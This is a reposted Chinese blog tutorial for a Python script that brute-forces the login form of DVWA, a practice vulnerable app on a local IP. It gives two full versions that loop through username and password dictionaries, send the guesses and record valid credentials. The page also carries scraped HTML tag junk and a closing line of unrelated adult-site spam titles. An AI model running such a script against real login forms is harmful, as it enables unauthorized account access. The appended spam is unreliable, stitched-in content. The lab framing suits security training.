<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          一個簡單的Python暴力破解網(wǎng)站登錄密碼腳本

          共 2965字,需瀏覽 6分鐘

           ·

          2022-02-15 21:30

          測試靶機為DVWA,適合DVWA暴力破解模塊的Low和Medium等級

          關(guān)鍵代碼解釋

          url指定url地址

          url?=?"http://192.168.171.2/dvwa/vulnerabilities/brute/"

          header設(shè)置請求頭

          header = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',    'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'}

          payload設(shè)置請求參數(shù)

          payload?=?{'username':username,'password':password,"Login":'Login'}

          這一行的作用是一次get請求,響應(yīng)信息被變量Response接收

          ?Response?=?requests.get(url,params=payload,headers=header)

          這兩行代碼循環(huán)遍歷賬號和密碼字典文件,之后給他們做笛卡爾積循環(huán)暴力破解

          這種方式和burp的Intruder模塊的Cluster bomb攻擊方式一樣

          for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):????for?line?in?open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):

          然后把循環(huán)結(jié)果存放到csv文件里,用逗號分割數(shù)據(jù)

          Response.status_code是響應(yīng)的http狀態(tài)碼,len(Response.content)是http響應(yīng)報文的長度

          result = str(Response.status_code) + ',' + username + ','\  + password + ',' + str(len(Response.content))f.write(result?+?'\n')

          完整代碼

          方法一

          登陸成功的和失敗返回數(shù)據(jù)不同,所以數(shù)據(jù)包長度也不同。包長度與其他不同的數(shù)據(jù),可能就是正確的賬號密碼。

          import requests
          url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
          f = open('result.csv','w')f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長度' + '\n')for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n')
          print('\n完成')

          運行結(jié)果

          運行


          這就是腳本發(fā)送的數(shù)據(jù)包

          查看結(jié)果

          查看包長度與其他不同的數(shù)據(jù),登錄測試

          方法二

          這個方法是根據(jù)登陸成功的返回特征來判斷是否為正確的賬號密碼,然后把正確的賬號密碼輸出到屏幕和txt文件里

          主要改動在第17到20行

          import requests
          url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
          f = open('result.txt','w')for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) if not(Response.text.find('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + '\n') print('\n完成')


          運行結(jié)果

          文章轉(zhuǎn)載:Python編程學(xué)習(xí)圈
          (版權(quán)歸原作者所有,侵刪)

          點擊下方“閱讀原文”查看更多

          瀏覽 37
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  国自拍一区 | 久久人人操人人 | 伊人成人五月天 | 瑟瑟视频在线观看 | 99青娱乐在线视频观看 |